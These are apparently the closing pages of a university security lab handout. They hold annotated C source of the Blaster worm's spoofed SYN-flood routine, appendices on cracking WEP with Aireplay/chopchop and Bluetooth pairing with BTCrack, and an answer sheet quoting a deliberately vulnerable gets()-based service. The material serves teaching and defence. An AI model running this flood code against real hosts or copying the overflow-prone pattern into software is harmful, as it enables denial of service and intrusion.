* raw-sockets had not been added to Win2k/WinXP. */ fd = WSASocket( AF_INET, /*TCP/IP sockets*/ SOCK_RAW, /*Custom TCP/IP headers*/ IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED ); if (fd == SOCKET_ERROR) return 0; /* Tell the raw-socket that IP headers will be created by the * programmer rather than the stack. Most raw sockets in * Windows will also have this option set. */ if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char*)&opt, sizeof(opt)) == SOCKET_ERROR) return 0;

75

/* Now do the SYN flood. The worm writer decided to flood * slowly by putting a 20-millisecond delay between packets * -- causing only 500 packets/second, or roughly, 200-kbps. * There are a couple of reasons why the hacker may have * chosen this. * 1. SYNfloods are not intended to be bandwidth floods, * even slow rates are hard to deal with. * 2. Slammer DoSed both the sender and receiver, therefore * senders hunted down infected systems and removed * them. This won't DoS the sender, so people are more * likely not to care about a few infected machines. */ for (;;) { blaster_send_syn_packet(target_ip, fd); /* Q: How fast does it send the SYNflood? * A: About 50 packets/second, where each packet is * 320-bits in size, for a total of 15-kbps. * It means that Buford probably intended for * dialup users to be a big source of the DoS * attack. He was smart enough to realize that * faster floods would lead to users discovering * the worm and turning it off. */ Sleep(20); } closesocket(fd); return 0; } /* * This is a standard TCP/IP checksum algorithm * that you find all over the web. */ int blaster_checksum(const void *bufv, int length) { const unsigned short *buf = (const unsigned short *)bufv; unsigned long result = 0; while (length > 1) { result += *(buf++); length -= sizeof(*buf); } if (length) result += *(unsigned char*)buf; result = (result >> 16) + (result & 0xFFFF); result += (result >> 16); result = (~result)&0xFFFF; return (int)result; } /* * This is a function that uses "raw-sockets" in order to send * a SYNflood at the victim, which is "windowsupdate.com" in * the case of the Blaster worm. */ void blaster_send_syn_packet(int target_ip, int fd) { struct IPHDR { unsigned char verlen; /*IP version & length */ unsigned char tos; /*IP type of service*/ unsigned short totallength;/*Total length*/

76

unsigned short id; /*Unique identifier */ unsigned short offset; /*Fragment offset field*/ unsigned char ttl; /*Time to live*/ unsigned char protocol; /*Protocol(TCP, UDP, etc.)*/ unsigned short checksum; /*IP checksum*/ unsigned int srcaddr; /*Source address*/ unsigned int dstaddr; /*Destination address*/ }; struct TCPHDR { unsigned short srcport; unsigned short dstport; unsigned int seqno; unsigned int ackno; unsigned char offset; unsigned char flags; unsigned short window; unsigned short checksum; unsigned short urgptr; }; struct PSEUDO { unsigned int srcaddr; unsigned int dstaddr; unsigned char padzero; unsigned char protocol; unsigned short tcplength; }; struct PSEUDOTCP { unsigned int srcaddr; unsigned int dstaddr; unsigned char padzero; unsigned char protocol; unsigned short tcplength; struct TCPHDR tcphdr; }; char spoofed_src_ip[16]; unsigned short target_port = 80; /*SYNflood web servers*/ struct sockaddr_in to; struct PSEUDO pseudo; char buf[60] = {0}; struct TCPHDR tcp; struct IPHDR ip; int source_ip; /* Yet another randomizer-seeding */ srand(GetTickCount()); /* Generate a spoofed source address that is local to the * current Class B subnet. This is pretty smart of Buford. * Using just a single IP address allows defenders to turn * it off on the firewall, whereas choosing a completely * random IP address would get blocked by egress filters * (because the source IP would not be in the proper range). * Randomly choosing nearby IP addresses it probably the * best way to evade defenses */ sprintf(spoofed_src_ip, "%i.%i.%i.%i", local_class_a, local_class_b, rand()%255, rand()%255); source_ip = blaster_resolve_ip(spoofed_src_ip); /* Build the sockaddr_in structure. Normally, this is what * the underlying TCP/IP stack uses to build the headers * from. However, since the DoS attack creates its own * headers, this step is largely redundent. */

77

to.sin_family = AF_INET; to.sin_port = htons(target_port); /*this makes no sense */ to.sin_addr.s_addr = target_ip; /* Create the IP header */ ip.verlen = 0x45; ip.totallength = htons(sizeof(ip) + sizeof(tcp)); ip.id = 1; ip.offset = 0; ip.ttl = 128; ip.protocol = IPPROTO_TCP; ip.checksum = 0; /*for now, set to true value below */ ip.dstaddr = target_ip; /* Create the TCP header */ tcp.dstport = htons(target_port); tcp.ackno = 0; tcp.offset = (unsigned char)(sizeof(tcp)<<4); tcp.flags = 2; /*TCP_SYN*/ tcp.window = htons(0x4000); tcp.urgptr = 0; tcp.checksum = 0; /*for now, set to true value below */ /* Create pseudo header (which copies portions of the IP * header for TCP checksum calculation).*/ pseudo.dstaddr = ip.dstaddr; pseudo.padzero = 0; pseudo.protocol = IPPROTO_TCP; pseudo.tcplength = htons(sizeof(tcp)); /* Use the source adress chosen above that is close, but * not the same, as the spreader's IP address */ ip.srcaddr = source_ip; /* Choose a random source port in the range [1000-19999].*/ tcp.srcport = htons((unsigned short)((rand()%1000)+1000)); /* Choose a random sequence number to start the connection. * BUG: Buford meant htonl(), not htons(), which means seqno * will be 15-bits, not 32-bits, i.e. in the range * [0-32767]. (the Windows rand() function only returns * 15-bits). */ tcp.seqno = htons((unsigned short)((rand()<<16)|rand())); pseudo.srcaddr = source_ip; /* Calculate TCP checksum */ memcpy(buf, &pseudo, sizeof(pseudo)); memcpy(buf+sizeof(pseudo), &tcp, sizeof(tcp)); tcp.checksum = blaster_checksum(buf, sizeof(pseudo)+sizeof(tcp)); memcpy(buf, &ip, sizeof(ip)); memcpy(buf+sizeof(ip), &tcp, sizeof(tcp)); /* I have no idea what's going on here. The assembly code * zeroes out a bit of memory near the buffer. I don't know * if it is trying to zero out a real variable that happens * to be at the end of the buffer, or if it is trying to zero * out part of the buffer itself. */ memset(buf+sizeof(ip)+sizeof(tcp), 0, sizeof(buf)-sizeof(ip)-sizeof(tcp)); /* Major bug here: the worm writer incorrectly calculates the * IP checksum over the entire packet. This is incorrect -- * the IP checksum is just for the IP header itself, not for * the TCP header or data. However, Windows fixes the checksum * anyway, so the bug doesn't appear in the actual packets * themselves. */ ip.checksum = blaster_checksum(buf, sizeof(ip)+sizeof(tcp));

78

/* Copy the header over again. The reason for this is simply to * copy over the checksum that was just calculated above, but * it's easier doing this for the programmer rather than * figuring out the exact offset where the checksum is * located */ memcpy(buf, &ip, sizeof(ip)); /* Send the packet */ sendto(fd, buf, sizeof(ip)+sizeof(tcp), 0, (struct sockaddr*)&to, sizeof(to)); }

79

Appendix I: Aireplay Other attacks of wireless networks exist for those without a client on the network. Without using ping flood and without needing much traffic occurring on the network, an attacker can still break the WEP key. How does he do this? Using a program called Aireplay (now a part of the Aircrack program), one can generate traffic on the network using unauthorized clients. Aireplay has four known usages. First is the deauthentication attack that was done in the lab. Second is an arp-request resend. To do this one must capture an ARP packet as shown in the Screenshot below.

Figure A.1: Aireplay using chopchop

The third attack involves resending data on the network. This normally does not work so is not very useful. The fourth and final use is perhaps the most interesting of the lot. Notice in the screenshot above the final line says: “Sent 430407 packets, current guess: 47...” If one were just doing the second attack the -k option would not have been used. The -k makes Aireplay use chopchop.

80

Chopchop is a program created by a hacker named KoreK (who also discovered the WEP cracking algorithm that only needs unique IVs, which is the algorithm used by Aircrack). Chopchop takes a packet and resends the packet back the the network modifying the data each time and sending it back onto the network. It then looks for replys from the network. Bad packets will get dropped while good packets will create traffic. By watching the traffic chopchop is able to slowly decrypt the packet bit by bit without knowledge of the key. This can take a while, especially if the packet used is large. However it serves to show that WEP is truly insecure in more than one way. Figure A.2: Chopchop at work

81

Appendix J: War Nibbling Over the last few years 802.11 (or wi-fi) has hit the mainstream, and different methods of gaining access to these wi-fi networks have grown. With the popular form of locating networks being War Driving. This is simply the process of moving around such that you sense the networks in different areas where people do not know you can. In the same respect bluetooth's popularity is growing and reaching a poin where hacks and tools are being developed to bypass its security. The process of going around and gaining access to bluetooth networks/devices is called War Nibbling. Like a regular network, you can use a network reconnasaince tool to scan the local area for bluetooth devices. The only problem with finding devices is that many of them have to be in a pairing mode for the scanner to see the device. However, there is a way in which the software can bypass this. In many cases if the bluetooth device receives a certain signal then it will send back a signal. This can be used by the scanner to find extra devices. Examples of these pieces of software are BlueScanner, BlueSweep, and BTScanner. The following screen shot is of the BlueSweep program. As part of the scan if a device is found, the software can detect the type, brand, and model of the device. Plus, it can get the specific address of the device along with the services that the device is using. In the bottom of the screen the program shows pie charts showing the types of devices found and all of the services on those devices.

The only hard part of the War Nibbling is the capturing of the packets, because the software is not

82

widely available at the present time. Frontline offers a package called FTS4BT Bluetooth® Protocol Analyzer & Packet Sniffer. This package costs between $150 and $400 depending upon the hardware in the package. This bundle can detect bluetooth traffic and analyze it and the byte level. Another option is a little more difficult, but free. This method involves Wireshark and some extra software. Bluetooth is not supported in Wireshark by default so some extra work has to be done. First off, the Bluetooth stack has to be downloaded for libcap. After this is done Wireshark's config can be changed such that the link-layer protocol can be supported. Lastly, the encapsulation has to be setup for the packets. Once all this done Wireshark is setup to capture bluetooth packets.

Once the packets are captured an attack can be started. If in the packets captured a handshaking is captured, a piece of software called BTCrack can be used to brute force hack the password that was used in the connection. Once the password is retrieved a pairing can be setup by you and information or the device can be compromised. The following screen shows a handshake that has been compromised by BTCrack. First a packet capture is browsed to and selected and the corresponding Master and Slave addresses are inputed. Once this is done the attack can begin. In the case in the picture the password was cracked in only .343 seconds showing that the password is fairly easy to get.

83

Answer Sheet Lab 8

Worms, Viruses, and Wireless Group Number: _______________ Member Names: _________________________ _________________________

Section 1: Worms Q1.1: The SPOC Worm is incredibly easy to detect. What are some methods you could use to detect the presence of the worm? Q1.2: What are some ways in which the worm could be designed to bypass detection? Q1.3: What is the growth rate of this type of worm given a network with many copies of the vulnerable service running? (Give a general answer)

84

Look at the packets captured by Ethereal. Q1.4: Devise a rule for Snort that will detect this worm. Add it to the rule base of Snort as done in the forensics lab. Submit the rule with the assignment. Close Ethereal. Run Snort with the new rule base on the server. Execute the vuln_service and worm as in the first part of the lab. Q1.5: Does Snort alert you to the worm? Now that you know of the presence of the worm, what do you do if you are responsible for the server? Here is a portion of the vuln_service code (this does not match exactly what is on the machine in the lab (and in the Appendix) since this code has been cleaned up a bit since installed on the machine: // sockfd is a socket file descriptor to a client void svcHandle(int sockfd) { char paddington[HALFK]; char userinput[BUFFER_SIZE]; if ( (dup2( sockfd, STDOUT_FILENO)) < 0 ) { perror("svcHandle: Error STDOUT_FILENO"); return; } if ( (dup2( sockfd, STDIN_FILENO)) < 0 ) { perror("svcHandle: Error STDOUT_FILENO");

85

return; } bzero( userinput, BUFFER_SIZE); printf( "1- Input:%s(%d)\n", userinput, strlen(userinput)); printf( "please input a 16 character string:\n"); gets( userinput); printf( "2- Input:(%d)\n", strlen(userinput)); } Q1.6: What part is vulnerable to buffer overflow, and how can it be fixed?

Section 2: A real world worm, AnnaKournikova Q2.1 How does the function doMail() help in spreading the virus? Q2.2 Other than spreading, what is the purpose of this virus? Q2.3 On what day will this happen? Q2.4 How can you help prevent the spreading of this virus?

86

Q2.5: What is one way in which anti-virus programs detect worms and viruses? Give an example (hint: look at the source code for the AnnaKournikova script)

Section 3: Viruses Q3.1: Is the file stdio.h in this directory right now? Q3.2: What is the creation time of this file? Q3.3: Use text editor to open stdio.h, and read this file. What is in this file? Q3.4: Which source code is malicious, Vscr2.c or test_virus.c? Q3.5: Why is the second Linux machine infected by virus?

87

Q3.6: If you use a Linux machine, download the file test_virus, and run it, will your system be infected? Q3.7: How do you prevent computer virus? Q3.8: From this lab, what are some notable differences between worms and virus in respect to how they infect a system?

Section 4: Worm Generator Q4.1: What major similarity is there with this worm and the AnnaKournikova worm we looked at earlier? (Hint: how does it spread?) What code clues you into this? Q4.2: How might someone prevent themselves from a worm like this?

88

Part 2 Wireless Section 5: Reconnaissance on the network

Question 5.1: What is the MAC address of the AP?

Section 6: Cracking the WEP

Question 6.1: What is the MAC address of the client?

Question 6.2: How many packets did it take your group to crack the WEP key?

Question 6.3: What was the WEP?

Section 8: Man in the Middle Attack

Question 8.1: What messages do you see being sent? What kind of activity are you sniffing? Screen Shot #1: Take a screenshot (Start->Screenshot) of the TCP stream with the sniffed traffic.

89

Section 9: Defenses Question 9.1: What makes WPA2 better than WEP? How long did it take you to complete this lab? Was it an appropriate length lab? What corrections and/or improvements do you suggest for this lab? Please be very specific and if you add new material give the exact wording and instructions you would give to future students in the new lab handout. You may cross out and edit the text of the lab on previous pages to make minor corrections/suggestions. General suggestions like add tool xyz to do more capable scanning will not be awarded extras points even if the statement is totally true. Specific text that could be cut and pasted into this lab, completed exercises, and completed solutions may be awarded additional credit. Thus if tool xyz adds a capability or additional or better learning experience for future students here is what you need to do. You should add that tool to the lab by writing new detailed lab instructions on where to get the tool, how to install it, how to run it, what exactly to do with it in our lab, example outputs, etc. You must prove with what you turn in that you actually did the lab improvement yourself. Screen shots and output hardcopy are a good way to demonstrate that you actually completed your suggested enhancements. The lab addition section must start with the form “laboratory Additions Cover Sheet” which may be found on the class web page.

Turn-in checklist

You need to turn in.

� Your answer sheet. � Screen shot of snooped traffic.